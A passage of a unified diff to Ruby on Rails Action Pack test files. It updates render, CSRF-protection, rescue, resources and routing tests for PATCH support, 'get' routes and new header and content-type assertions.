-    assert_equal "Logger", @response.body
+    assert_equal "ActiveSupport::Logger", @response.body
   end
 
   # :ported:
@@ -979,6 +1044,7 @@ class RenderTest < ActionController::TestCase
   def test_accessing_local_assigns_in_inline_template
     get :accessing_local_assigns_in_inline_template, :local_name => "Local David"
     assert_equal "Goodbye, Local David", @response.body
+    assert_equal "text/html", @response.content_type
   end
 
   def test_should_implicitly_render_html_template_from_xhr_request
@@ -1081,15 +1147,15 @@ class RenderTest < ActionController::TestCase
 
   # :ported:
   def test_double_render
-    assert_raise(ActionController::DoubleRenderError) { get :double_render }
+    assert_raise(AbstractController::DoubleRenderError) { get :double_render }
   end
 
   def test_double_redirect
-    assert_raise(ActionController::DoubleRenderError) { get :double_redirect }
+    assert_raise(AbstractController::DoubleRenderError) { get :double_redirect }
   end
 
   def test_render_and_redirect
-    assert_raise(ActionController::DoubleRenderError) { get :render_and_redirect }
+    assert_raise(AbstractController::DoubleRenderError) { get :render_and_redirect }
   end
 
   # specify the one exception to double render rule - render_to_string followed by render
@@ -1133,6 +1199,19 @@ class RenderTest < ActionController::TestCase
     assert_equal "<html>\n  <p>Hello</p>\n</html>\n", @response.body
   end
 
+  def test_head_created
+    post :head_created
+    assert_blank @response.body
+    assert_response :created
+  end
+
+  def test_head_created_with_application_json_content_type
+    post :head_created_with_application_json_content_type
+    assert_blank @response.body
+    assert_equal "application/json", @response.content_type
+    assert_response :created
+  end
+
   def test_head_with_location_header
     get :head_with_location_header
     assert_blank @response.body
@@ -1144,7 +1223,7 @@ class RenderTest < ActionController::TestCase
     with_routing do |set|
       set.draw do
         resources :customers
-        match ':controller/:action'
+        get ':controller/:action'
       end
 
       get :head_with_location_object
@@ -1224,22 +1303,57 @@ class RenderTest < ActionController::TestCase
   def test_partial_only
     get :partial_only
     assert_equal "only partial", @response.body
+    assert_equal "text/html", @response.content_type
   end
 
   def test_should_render_html_formatted_partial
     get :partial
-    assert_equal 'partial html', @response.body
+    assert_equal "partial html", @response.body
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_render_html_formatted_partial_even_with_other_mime_time_in_accept
+    @request.accept = "text/javascript, text/html"
+
+    get :partial_html_erb
+
+    assert_equal "partial.html.erb", @response.body.strip
+    assert_equal "text/html", @response.content_type
   end
 
   def test_should_render_html_partial_with_formats
     get :partial_formats_html
-    assert_equal 'partial html', @response.body
+    assert_equal "partial html", @response.body
+    assert_equal "text/html", @response.content_type
   end
 
   def test_render_to_string_partial
     get :render_to_string_with_partial
     assert_equal "only partial", assigns(:partial_only)
     assert_equal "Hello: david", assigns(:partial_with_locals)
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_render_to_string_with_template_and_html_partial
+    get :render_to_string_with_template_and_html_partial
+    assert_equal "**only partial**\n", assigns(:text)
+    assert_equal "<strong>only partial</strong>\n", assigns(:html)
+    assert_equal "<strong>only html partial</strong>\n", @response.body
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_render_to_string_and_render_with_different_formats
+    get :render_to_string_and_render_with_different_formats
+    assert_equal "<strong>only partial</strong>\n", assigns(:html)
+    assert_equal "**only partial**\n", @response.body
+    assert_equal "text/plain", @response.content_type
+  end
+
+  def test_render_template_within_a_template_with_other_format
+    get :render_template_within_a_template_with_other_format
+    expected = "only html partial<p>This is grand!</p>"
+    assert_equal expected, @response.body.strip
+    assert_equal "text/html", @response.content_type
   end
 
   def test_partial_with_counter
@@ -1387,20 +1501,43 @@ class ExpiresInRenderTest < ActionController::TestCase
     assert_equal "max-age=60, public", @response.headers["Cache-Control"]
   end
 
+  def test_expires_in_header_with_must_revalidate
+    get :conditional_hello_with_expires_in_with_must_revalidate
+    assert_equal "max-age=60, private, must-revalidate", @response.headers["Cache-Control"]
+  end
+
+  def test_expires_in_header_with_public_and_must_revalidate
+    get :conditional_hello_with_expires_in_with_public_and_must_revalidate
+    assert_equal "max-age=60, public, must-revalidate", @response.headers["Cache-Control"]
+  end
+
   def test_expires_in_header_with_additional_headers
     get :conditional_hello_with_expires_in_with_public_with_more_keys
-    assert_equal "max-age=60, public, max-stale=18000", @response.headers["Cache-Control"]
+    assert_equal "max-age=60, public, s-maxage=18000", @response.headers["Cache-Control"]
   end
 
   def test_expires_in_old_syntax
     get :conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
-    assert_equal "max-age=60, public, max-stale=18000", @response.headers["Cache-Control"]
+    assert_equal "max-age=60, public, s-maxage=18000", @response.headers["Cache-Control"]
   end
 
   def test_expires_now
     get :conditional_hello_with_expires_now
     assert_equal "no-cache", @response.headers["Cache-Control"]
   end
+
+  def test_expires_now_with_cache_control_headers
+    get :conditional_hello_with_cache_control_headers
+    assert_match(/no-cache/, @response.headers["Cache-Control"])
+    assert_match(/no-transform/, @response.headers["Cache-Control"])
+  end
+
+  def test_date_header_when_expires_in
+    time = Time.mktime(2011,10,30)
+    Time.stubs(:now).returns(time)
+    get :conditional_hello_with_expires_in
+    assert_equal Time.now.httpdate, @response.headers["Date"]
+  end
 end
 
 class LastModifiedRenderTest < ActionController::TestCase
@@ -1440,6 +1577,36 @@ class LastModifiedRenderTest < ActionController::TestCase
     assert_equal @last_modified, @response.headers['Last-Modified']
   end
 
+
+  def test_responds_with_last_modified_with_record
+    get :conditional_hello_with_record
+    assert_equal @last_modified, @response.headers['Last-Modified']
+  end
+
+  def test_request_not_modified_with_record
+    @request.if_modified_since = @last_modified
+    get :conditional_hello_with_record
+    assert_equal 304, @response.status.to_i
+    assert_blank @response.body
+    assert_equal @last_modified, @response.headers['Last-Modified']
+  end
+
+  def test_request_not_modified_but_etag_differs_with_record
+    @request.if_modified_since = @last_modified
+    @request.if_none_match = "234"
+    get :conditional_hello_with_record
+    assert_response :success
+  end
+
+  def test_request_modified_with_record
+    @request.if_modified_since = 'Thu, 16 Jul 2008 00:00:00 GMT'
+    get :conditional_hello_with_record
+    assert_equal 200, @response.status.to_i
+    assert_present @response.body
+    assert_equal @last_modified, @response.headers['Last-Modified']
+  end
+
+
   def test_request_with_bang_gets_last_modified
     get :conditional_hello_with_bangs
     assert_equal @last_modified, @response.headers['Last-Modified']
@@ -1458,3 +1625,12 @@ class LastModifiedRenderTest < ActionController::TestCase
     assert_response :success
   end
 end
+
+class MetalRenderTest < ActionController::TestCase
+  tests MetalTestController
+
+  def test_access_to_logger_in_view
+    get :accessing_logger_in_template
+    assert_equal "NilClass", @response.body
+  end
+end
diff --git a/actionpack/test/controller/render_xml_test.rb b/actionpack/test/controller/render_xml_test.rb
index ec4dc848ff..4f280c4bec 100644
--- a/actionpack/test/controller/render_xml_test.rb
+++ b/actionpack/test/controller/render_xml_test.rb
@@ -48,7 +48,7 @@ class RenderXmlTest < ActionController::TestCase
     # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
     # a more accurate simulation of what happens in "real life".
     super
-    @controller.logger = Logger.new(nil)
+    @controller.logger = ActiveSupport::Logger.new(nil)
 
     @request.host = "www.nextangle.com"
   end
@@ -72,7 +72,7 @@ class RenderXmlTest < ActionController::TestCase
     with_routing do |set|
       set.draw do
         resources :customers
-        match ':controller/:action'
+        get ':controller/:action'
       end
 
       get :render_with_object_location
diff --git a/actionpack/test/controller/request_forgery_protection_test.rb b/actionpack/test/controller/request_forgery_protection_test.rb
index fd5a41a0bb..0289f4070b 100644
--- a/actionpack/test/controller/request_forgery_protection_test.rb
+++ b/actionpack/test/controller/request_forgery_protection_test.rb
@@ -1,6 +1,5 @@
 require 'abstract_unit'
 require 'digest/sha1'
-require 'active_support/core_ext/string/strip'
 require "active_support/log_subscriber/test_helper"
 
 # common controller actions
@@ -10,7 +9,7 @@ module RequestForgeryProtectionActions
   end
 
   def show_button
-    render :inline => "<%= button_to('New', '/') {} %>"
+    render :inline => "<%= button_to('New', '/') %>"
   end
 
   def external_form
@@ -37,6 +36,22 @@ module RequestForgeryProtectionActions
     render :inline => "<%= form_for(:some_resource, :authenticity_token => false ) {} %>"
   end
 
+  def form_for_remote
+    render :inline => "<%= form_for(:some_resource, :remote => true ) {} %>"
+  end
+
+  def form_for_remote_with_token
+    render :inline => "<%= form_for(:some_resource, :remote => true, :authenticity_token => true ) {} %>"
+  end
+
+  def form_for_with_token
+    render :inline => "<%= form_for(:some_resource, :authenticity_token => true ) {} %>"
+  end
+
+  def form_for_remote_with_external_token
+    render :inline => "<%= form_for(:some_resource, :remote => true, :authenticity_token => 'external_token') {} %>"
+  end
+
   def rescue_action(e) raise e end
 end
 
@@ -46,7 +61,7 @@ class RequestForgeryProtectionController < ActionController::Base
   protect_from_forgery :only => %w(index meta)
 end
 
-class RequestForgeryProtectionControllerUsingOldBehaviour < ActionController::Base
+class RequestForgeryProtectionControllerUsingException < ActionController::Base
   include RequestForgeryProtectionActions
   protect_from_forgery :only => %w(index meta)
 
@@ -64,7 +79,7 @@ class FreeCookieController < RequestForgeryProtectionController
   end
 
   def show_button
-    render :inline => "<%= button_to('New', '/') {} %>"
+    render :inline => "<%= button_to('New', '/') %>"
   end
 end
 
@@ -74,9 +89,7 @@ class CustomAuthenticityParamController < RequestForgeryProtectionController
   end
 end
 
-
 # common test methods
-
 module RequestForgeryProtectionTests
   def setup
     @token      = "cf50faa3fe97702ca1ae"
@@ -103,6 +116,60 @@ module RequestForgeryProtectionTests
     assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
   end
 
+  def test_should_render_form_without_token_tag_if_remote
+    assert_not_blocked do
+      get :form_for_remote
+    end
+    assert_no_match(/authenticity_token/, response.body)
+  end
+
+  def test_should_render_form_with_token_tag_if_remote_and_embedding_token_is_on
+    original = ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms
+    begin
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = true
+      assert_not_blocked do
+        get :form_for_remote
+      end
+      assert_match(/authenticity_token/, response.body)
+    ensure
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original
+    end
+  end
+
+  def test_should_render_form_with_token_tag_if_remote_and_external_authenticity_token_requested_and_embedding_is_on
+    original = ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms
+    begin
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = true
+      assert_not_blocked do
+        get :form_for_remote_with_external_token
+      end
+      assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
+    ensure
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original
+    end
+  end
+
+  def test_should_render_form_with_token_tag_if_remote_and_external_authenticity_token_requested
+    assert_not_blocked do
+      get :form_for_remote_with_external_token
+    end
+    assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
+  end
+
+  def test_should_render_form_with_token_tag_if_remote_and_authenticity_token_requested
+    assert_not_blocked do
+      get :form_for_remote_with_token
+    end
+    assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+  end
+
+  def test_should_render_form_with_token_tag_with_authenticity_token_requested
+    assert_not_blocked do
+      get :form_for_with_token
+    end
+    assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+  end
+
   def test_should_allow_get
     assert_not_blocked { get :index }
   end
@@ -119,6 +186,10 @@ module RequestForgeryProtectionTests
     assert_blocked { post :index, :format=>'xml' }
   end
 
+  def test_should_not_allow_patch_without_token
+    assert_blocked { patch :index }
+  end
+
   def test_should_not_allow_put_without_token
     assert_blocked { put :index }
   end
@@ -135,6 +206,10 @@ module RequestForgeryProtectionTests
     assert_not_blocked { post :index, :custom_authenticity_token => @token }
   end
 
+  def test_should_allow_patch_with_token
+    assert_not_blocked { patch :index, :custom_authenticity_token => @token }
+  end
+
   def test_should_allow_put_with_token
     assert_not_blocked { put :index, :custom_authenticity_token => @token }
   end
@@ -153,6 +228,11 @@ module RequestForgeryProtectionTests
     assert_not_blocked { delete :index }
   end
 
+  def test_should_allow_patch_with_token_in_header
+    @request.env['HTTP_X_CSRF_TOKEN'] = @token
+    assert_not_blocked { patch :index }
+  end
+
   def test_should_allow_put_with_token_in_header
     @request.env['HTTP_X_CSRF_TOKEN'] = @token
     assert_not_blocked { put :index }
@@ -207,7 +287,7 @@ class RequestForgeryProtectionControllerTest < ActionController::TestCase
   end
 end
 
-class RequestForgeryProtectionControllerUsingOldBehaviourTest < ActionController::TestCase
+class RequestForgeryProtectionControllerUsingExceptionTest < ActionController::TestCase
   include RequestForgeryProtectionTests
   def assert_blocked
     assert_raises(ActionController::InvalidAuthenticityToken) do
@@ -237,7 +317,7 @@ class FreeCookieControllerTest < ActionController::TestCase
   end
 
   def test_should_allow_all_methods_without_token
-    [:post, :put, :delete].each do |method|
+    [:post, :patch, :put, :delete].each do |method|
       assert_nothing_raised { send(method, :index)}
     end
   end
@@ -248,10 +328,6 @@ class FreeCookieControllerTest < ActionController::TestCase
   end
 end
 
-
-
-
-
 class CustomAuthenticityParamControllerTest < ActionController::TestCase
   def setup
     ActionController::Base.request_forgery_protection_token = :custom_token_name
diff --git a/actionpack/test/controller/rescue_test.rb b/actionpack/test/controller/rescue_test.rb
index c445285538..48e2d6491e 100644
--- a/actionpack/test/controller/rescue_test.rb
+++ b/actionpack/test/controller/rescue_test.rb
@@ -60,11 +60,6 @@ class RescueController < ActionController::Base
     render :text => exception.message
   end
 
-  # This is a Dispatcher exception and should be in ApplicationController.
-  rescue_from ActionController::RoutingError do
-    render :text => 'no way'
-  end
-
   rescue_from ActionView::TemplateError do
     render :text => 'action_view templater error'
   end
@@ -137,11 +132,11 @@ class RescueController < ActionController::Base
   end
 
   def io_error_in_view
-    raise ActionView::TemplateError.new(nil, {}, IOError.new('this is io error'))
+    raise ActionView::TemplateError.new(nil, IOError.new('this is io error'))
   end
 
   def zero_division_error_in_view
-    raise ActionView::TemplateError.new(nil, {}, ZeroDivisionError.new('this is zero division error'))
+    raise ActionView::TemplateError.new(nil, ZeroDivisionError.new('this is zero division error'))
   end
 
   protected
@@ -338,29 +333,14 @@ class RescueTest < ActionDispatch::IntegrationTest
     end
   end
 
-  test 'rescue routing exceptions' do
-    raiser = proc { |env| raise ActionController::RoutingError, "Did not handle the request" }
-    @app = ActionDispatch::Rescue.new(raiser) do
-      rescue_from ActionController::RoutingError, lambda { |env| [200, {"Content-Type" => "text/html"}, ["Gotcha!"]] }
-    end
-
-    get '/b00m'
-    assert_equal "Gotcha!", response.body
-  end
-
-  test 'unrescued exception' do
-    raiser = proc { |env| raise ActionController::RoutingError, "Did not handle the request" }
-    @app = ActionDispatch::Rescue.new(raiser)
-    assert_raise(ActionController::RoutingError) { get '/b00m' }
-  end
-
   private
+
     def with_test_routing
       with_routing do |set|
         set.draw do
-          match 'foo', :to => ::RescueTest::TestController.action(:foo)
-          match 'invalid', :to => ::RescueTest::TestController.action(:invalid)
-          match 'b00m', :to => ::RescueTest::TestController.action(:b00m)
+          get 'foo', :to => ::RescueTest::TestController.action(:foo)
+          get 'invalid', :to => ::RescueTest::TestController.action(:invalid)
+          get 'b00m', :to => ::RescueTest::TestController.action(:b00m)
         end
         yield
       end
diff --git a/actionpack/test/controller/resources_test.rb b/actionpack/test/controller/resources_test.rb
index 6b8a8f6161..305659b219 100644
--- a/actionpack/test/controller/resources_test.rb
+++ b/actionpack/test/controller/resources_test.rb
@@ -1,37 +1,6 @@
 require 'abstract_unit'
 require 'active_support/core_ext/object/try'
 require 'active_support/core_ext/object/with_options'
-require 'active_support/core_ext/object/inclusion'
-
-class ResourcesController < ActionController::Base
-  def index() render :nothing => true end
-  alias_method :show, :index
-  def rescue_action(e) raise e end
-end
-
-class ThreadsController  < ResourcesController; end
-class MessagesController < ResourcesController; end
-class CommentsController < ResourcesController; end
-class AuthorsController < ResourcesController; end
-class LogosController < ResourcesController; end
-
-class AccountsController <  ResourcesController; end
-class AdminController   <  ResourcesController; end
-class ProductsController < ResourcesController; end
-class ImagesController < ResourcesController; end
-class PreferencesController < ResourcesController; end
-
-module Backoffice
-  class ProductsController < ResourcesController; end
-  class TagsController < ResourcesController; end
-  class ManufacturersController < ResourcesController; end
-  class ImagesController < ResourcesController; end
-
-  module Admin
-    class ProductsController < ResourcesController; end
-    class ImagesController < ResourcesController; end
-  end
-end
 
 class ResourcesTest < ActionController::TestCase
   def test_default_restful_routes
@@ -110,7 +79,7 @@ class ResourcesTest < ActionController::TestCase
     expected_options = {:controller => 'messages', :action => 'show', :id => '1.1.1'}
 
     with_restful_routing :messages do
-      assert_raise(ActionController::RoutingError) do
+      assert_raise(Assertion) do
         assert_recognizes(expected_options, :path => 'messages/1.1.1', :method => :get)
       end
     end
@@ -159,7 +128,7 @@ class ResourcesTest < ActionController::TestCase
   end
 
   def test_with_collection_actions
-    actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete }
+    actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete, 'e' => :patch }
 
     with_routing do |set|
       set.draw do
@@ -168,6 +137,7 @@ class ResourcesTest < ActionController::TestCase
           put    :b, :on => :collection
           post   :c, :on => :collection
           delete :d, :on => :collection
+          patch  :e, :on => :collection
         end
       end
 
@@ -186,7 +156,7 @@ class ResourcesTest < ActionController::TestCase
   end
 
   def test_with_collection_actions_and_name_prefix
-    actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete }
+    actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete, 'e' => :patch }
 
     with_routing do |set|
       set.draw do
@@ -196,6 +166,7 @@ class ResourcesTest < ActionController::TestCase
             put    :b, :on => :collection
             post   :c, :on => :collection
             delete :d, :on => :collection
+            patch  :e, :on => :collection
           end
         end
       end
@@ -242,7 +213,7 @@ class ResourcesTest < ActionController::TestCase
   end
 
   def test_with_collection_action_and_name_prefix_and_formatted
-    actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete }
+    actions = { 'a' => :get, 'b' => :put, 'c' => :post, 'd' => :delete, 'e' => :patch }
 
     with_routing do |set|
       set.draw do
@@ -252,6 +223,7 @@ class ResourcesTest < ActionController::TestCase
             put    :b, :on => :collection
             post   :c, :on => :collection
             delete :d, :on => :collection
+            patch  :e, :on => :collection
           end
         end
       end
@@ -271,7 +243,7 @@ class ResourcesTest < ActionController::TestCase
   end
 
   def test_with_member_action
-    [:put, :post].each do |method|
+    [:patch, :put, :post].each do |method|
       with_restful_routing :messages, :member => { :mark => method } do
         mark_options = {:action => 'mark', :id => '1'}
         mark_path    = "/messages/1/mark"
@@ -295,7 +267,7 @@ class ResourcesTest < ActionController::TestCase
   end
 
   def test_member_when_override_paths_for_default_restful_actions_with
-    [:put, :post].each do |method|
+    [:patch, :put, :post].each do |method|
       with_restful_routing :messages, :member => { :mark => method }, :path_names => {:new => 'nuevo'} do
         mark_options = {:action => 'mark', :id => '1', :controller => "messages"}
         mark_path    = "/messages/1/mark"
@@ -312,7 +284,7 @@ class ResourcesTest < ActionController::TestCase
   end
 
   def test_with_two_member_actions_with_same_method
-    [:put, :post].each do |method|
+    [:patch, :put, :post].each do |method|
       with_routing do |set|
         set.draw do
           resources :messages do
@@ -565,7 +537,7 @@ class ResourcesTest < ActionController::TestCase
   end
 
   def test_singleton_resource_with_member_action
-    [:put, :post].each do |method|
+    [:patch, :put, :post].each do |method|
       with_routing do |set|
         set.draw do
           resource :account do
@@ -587,7 +559,7 @@ class ResourcesTest < ActionController::TestCase
   end
 
   def test_singleton_resource_with_two_member_actions_with_same_method
-    [:put, :post].each do |method|
+    [:patch, :put, :post].each do |method|
       with_routing do |set|
         set.draw do
           resource :account do
@@ -652,17 +624,21 @@ class ResourcesTest < ActionController::TestCase
     end
   end
 
-  def test_should_not_allow_delete_or_put_on_collection_path
+  def test_should_not_allow_delete_or_patch_or_put_on_collection_path
     controller_name = :messages
     with_restful_routing controller_name do
       options = { :controller => controller_name.to_s }
       collection_path = "/#{controller_name}"
 
-      assert_raise(ActionController::RoutingError) do
+      assert_raise(Assertion) do
+        assert_recognizes(options.merge(:action => 'update'), :path => collection_path, :method => :patch)
+      end
+
+      assert_raise(Assertion) do
         assert_recognizes(options.merge(:action => 'update'), :path => collection_path, :method => :put)
       end
 
-      assert_raise(ActionController::RoutingError) do
+      assert_raise(Assertion) do
         assert_recognizes(options.merge(:action => 'destroy'), :path => collection_path, :method => :delete)
       end
     end
@@ -674,7 +650,7 @@ class ResourcesTest < ActionController::TestCase
         scope '/threads/:thread_id' do
           resources :messages, :as => 'thread_messages' do
             get :search, :on => :collection
-            match :preview, :on => :new
+            get :preview, :on => :new
           end
         end
       end
@@ -692,7 +668,7 @@ class ResourcesTest < ActionController::TestCase
         scope '/admin' do
           resource :account, :as => :admin_account do
             get :login, :on => :member
-            match :preview, :on => :new
+            get :preview, :on => :new
           end
         end
       end
@@ -1302,7 +1278,7 @@ class ResourcesTest < ActionController::TestCase
     def assert_resource_methods(expected, resource, action_method, method)
       assert_equal expected.length, resource.send("#{action_method}_methods")[method].size, "#{resource.send("#{action_method}_methods")[method].inspect}"
       expected.each do |action|
-        assert action.in?(resource.send("#{action_method}_methods")[method])
+        assert resource.send("#{action_method}_methods")[method].include?(action)
           "#{method} not in #{action_method} methods: #{resource.send("#{action_method}_methods")[method].inspect}"
       end
     end
@@ -1339,15 +1315,15 @@ class ResourcesTest < ActionController::TestCase
       options = options.merge(:action => action.to_s)
       path_options = { :path => path, :method => method }
 
-      if action.in?(Array(allowed))
+      if Array(allowed).include?(action)
         assert_recognizes options, path_options
-      elsif action.in?(Array(not_allowed))
+      elsif Array(not_allowed).include?(action)
         assert_not_recognizes options, path_options
       end
     end
 
     def assert_not_recognizes(expected_options, path)
-      assert_raise ActionController::RoutingError, Assertion do
+      assert_raise Assertion do
         assert_recognizes(expected_options, path)
       end
     end
diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb
index 5bf68decca..57ab325683 100644
--- a/actionpack/test/controller/routing_test.rb
+++ b/actionpack/test/controller/routing_test.rb
@@ -6,25 +6,18 @@ require 'active_support/core_ext/object/with_options'
 class MilestonesController < ActionController::Base
   def index() head :ok end
   alias_method :show, :index
-  def rescue_action(e) raise e end
 end
 
 ROUTING = ActionDispatch::Routing
 
-module RoutingTestHelpers
-  def url_for(set, options, recall = nil)
-    set.send(:url_for, options.merge(:only_path => true, :_path_segments => recall))
-  end
-end
-
 # See RFC 3986, section 3.3 for allowed path characters.
-class UriReservedCharactersRoutingTest < Test::Unit::TestCase
+class UriReservedCharactersRoutingTest < ActiveSupport::TestCase
   include RoutingTestHelpers
 
   def setup
     @set = ActionDispatch::Routing::RouteSet.new
     @set.draw do
-      match ':controller/:action/:variable/*additional'
+      get ':controller/:action/:variable/*additional'
     end
 
     safe, unsafe = %w(: @ & = + $ , ;), %w(^ ? # [ ])
@@ -66,11 +59,11 @@ end
 class MockController
   def self.build(helpers)
     Class.new do
-      def url_for(options)
+      def url_options
+        options = super
         options[:protocol] ||= "http"
         options[:host] ||= "test.host"
-
-        super(options)
+        options
       end
 
       include helpers
@@ -78,27 +71,217 @@ class MockController
   end
 end
 
-class LegacyRouteSetTests < Test::Unit::TestCase
+class LegacyRouteSetTests < ActiveSupport::TestCase
   include RoutingTestHelpers
+  include ActionDispatch::RoutingVerbs
 
   attr_reader :rs
+  alias :routes :rs
 
   def setup
-    @rs = ::ActionDispatch::Routing::RouteSet.new
+    @rs       = ::ActionDispatch::Routing::RouteSet.new
+    @response = nil
+  end
+
+  def test_symbols_with_dashes
+    rs.draw do
+      get '/:artist/:song-omg', :to => lambda { |env|
+        resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+        [200, {}, [resp]]
+      }
+    end
+
+    hash = JSON.load get(URI('http://example.org/journey/faithfully-omg'))
+    assert_equal({"artist"=>"journey", "song"=>"faithfully"}, hash)
+  end
+
+  def test_id_with_dash
+    rs.draw do
+      get '/journey/:id', :to => lambda { |env|
+        resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+        [200, {}, [resp]]
+      }
+    end
+
+    hash = JSON.load get(URI('http://example.org/journey/faithfully-omg'))
+    assert_equal({"id"=>"faithfully-omg"}, hash)
+  end
+
+  def test_dash_with_custom_regexp
+    rs.draw do
+      get '/:artist/:song-omg', :constraints => { :song => /\d+/ }, :to => lambda { |env|
+        resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+        [200, {}, [resp]]
+      }
+    end
+
+    hash = JSON.load get(URI('http://example.org/journey/123-omg'))
+    assert_equal({"artist"=>"journey", "song"=>"123"}, hash)
+    assert_equal 'Not Found', get(URI('http://example.org/journey/faithfully-omg'))
+  end
+
+  def test_pre_dash
+    rs.draw do
+      get '/:artist/omg-:song', :to => lambda { |env|
+        resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+        [200, {}, [resp]]
+      }
+    end
+
+    hash = JSON.load get(URI('http://example.org/journey/omg-faithfully'))
+    assert_equal({"artist"=>"journey", "song"=>"faithfully"}, hash)
+  end
+
+  def test_pre_dash_with_custom_regexp
+    rs.draw do
+      get '/:artist/omg-:song', :constraints => { :song => /\d+/ }, :to => lambda { |env|
+        resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+        [200, {}, [resp]]
+      }
+    end
+
+    hash = JSON.load get(URI('http://example.org/journey/omg-123'))
+    assert_equal({"artist"=>"journey", "song"=>"123"}, hash)
+    assert_equal 'Not Found', get(URI('http://example.org/journey/omg-faithfully'))
+  end
+
+  def test_star_paths_are_greedy
+    rs.draw do
+      get "/*path", :to => lambda { |env|
+        x = env["action_dispatch.request.path_parameters"][:path]
+        [200, {}, [x]]
+      }, :format => false
+    end
+
+    u = URI('http://example.org/foo/bar.html')
+    assert_equal u.path.sub(/^\//, ''), get(u)
+  end
+
+  def test_star_paths_are_greedy_but_not_too_much
+    rs.draw do
+      get "/*path", :to => lambda { |env|
+        x = JSON.dump env["action_dispatch.request.path_parameters"]
+        [200, {}, [x]]
+      }
+    end
+
+    expected = { "path" => "foo/bar", "format" => "html" }
+    u = URI('http://example.org/foo/bar.html')
+    assert_equal expected, JSON.parse(get(u))
+  end
+
+  def test_optional_star_paths_are_greedy
+    rs.draw do
+      get "/(*filters)", :to => lambda { |env|
+        x = env["action_dispatch.request.path_parameters"][:filters]
+        [200, {}, [x]]
+      }, :format => false
+    end
+
+    u = URI('http://example.org/ne_27.065938,-80.6092/sw_25.489856,-82.542794')
+    assert_equal u.path.sub(/^\//, ''), get(u)
+  end
+
+  def test_optional_star_paths_are_greedy_but_not_too_much
+    rs.draw do
+      get "/(*filters)", :to => lambda { |env|
+        x = JSON.dump env["action_dispatch.request.path_parameters"]
+        [200, {}, [x]]
+      }
+    end
+
+    expected = { "filters" => "ne_27.065938,-80.6092/sw_25.489856,-82",
+                 "format"  => "542794" }
+    u = URI('http://example.org/ne_27.065938,-80.6092/sw_25.489856,-82.542794')
+    assert_equal expected, JSON.parse(get(u))
+  end
+
+  def test_regexp_precidence
+    rs.draw do
+      get '/whois/:domain', :constraints => {
+        :domain => /\w+\.[\w\.]+/ },
+        :to     => lambda { |env| [200, {}, %w{regexp}] }
+
+      get '/whois/:id', :to => lambda { |env| [200, {}, %w{id}] }
+    end
+
+    assert_equal 'regexp', get(URI('http://example.org/whois/example.org'))
+    assert_equal 'id', get(URI('http://example.org/whois/123'))
+  end
+
+  def test_class_and_lambda_constraints
+    subdomain = Class.new {
+      def matches? request
+        request.subdomain.present? and request.subdomain != 'clients'
+      end
+    }
+
+    rs.draw do
+      get '/', :constraints => subdomain.new,
+                 :to          => lambda { |env| [200, {}, %w{default}] }
+      get '/', :constraints => { :subdomain => 'clients' },
+                 :to          => lambda { |env| [200, {}, %w{clients}] }
+    end
+
+    assert_equal 'default', get(URI('http://www.example.org/'))
+    assert_equal 'clients', get(URI('http://clients.example.org/'))
+  end
+
+  def test_lambda_constraints
+    rs.draw do
+      get '/', :constraints => lambda { |req|
+        req.subdomain.present? and req.subdomain != "clients" },
+                 :to          => lambda { |env| [200, {}, %w{default}] }
+
+      get '/', :constraints => lambda { |req|
+        req.subdomain.present? && req.subdomain == "clients" },
+                 :to          => lambda { |env| [200, {}, %w{clients}] }
+    end
+
+    assert_equal 'default', get(URI('http://www.example.org/'))
+    assert_equal 'clients', get(URI('http://clients.example.org/'))
   end
 
-  def teardown
-    @rs.clear!
+  def test_empty_string_match
+    rs.draw do
+      get '/:username', :constraints => { :username => /[^\/]+/ },
+                       :to => lambda { |e| [200, {}, ['foo']] }
+    end
+    assert_equal 'Not Found', get(URI('http://example.org/'))
+    assert_equal 'foo', get(URI('http://example.org/hello'))
+  end
+
+  def test_non_greedy_glob_regexp
+    params = nil
+    rs.draw do
+      get '/posts/:id(/*filters)', :constraints => { :filters => /.+?/ },
+        :to => lambda { |e|
+        params = e["action_dispatch.request.path_parameters"]
+        [200, {}, ['foo']]
+      }
+    end
+    assert_equal 'foo', get(URI('http://example.org/posts/1/foo.js'))
+    assert_equal({:id=>"1", :filters=>"foo", :format=>"js"}, params)
   end
 
   def test_draw_with_block_arity_one_raises
     assert_raise(RuntimeError) do
-      @rs.draw { |map| map.match '/:controller(/:action(/:id))' }
+      rs.draw { |map| map.match '/:controller(/:action(/:id))' }
+    end
+  end
+
+  def test_specific_controller_action_failure
+    rs.draw do
+      mount lambda {} => "/foo"
+    end
+
+    assert_raises(ActionController::RoutingError) do
+      url_for(rs, :controller => "omg", :action => "lol")
     end
   end
 
   def test_default_setup
-    @rs.draw { match '/:controller(/:action(/:id))' }
+    rs.draw { get '/:controller(/:action(/:id))' }
     assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/content"))
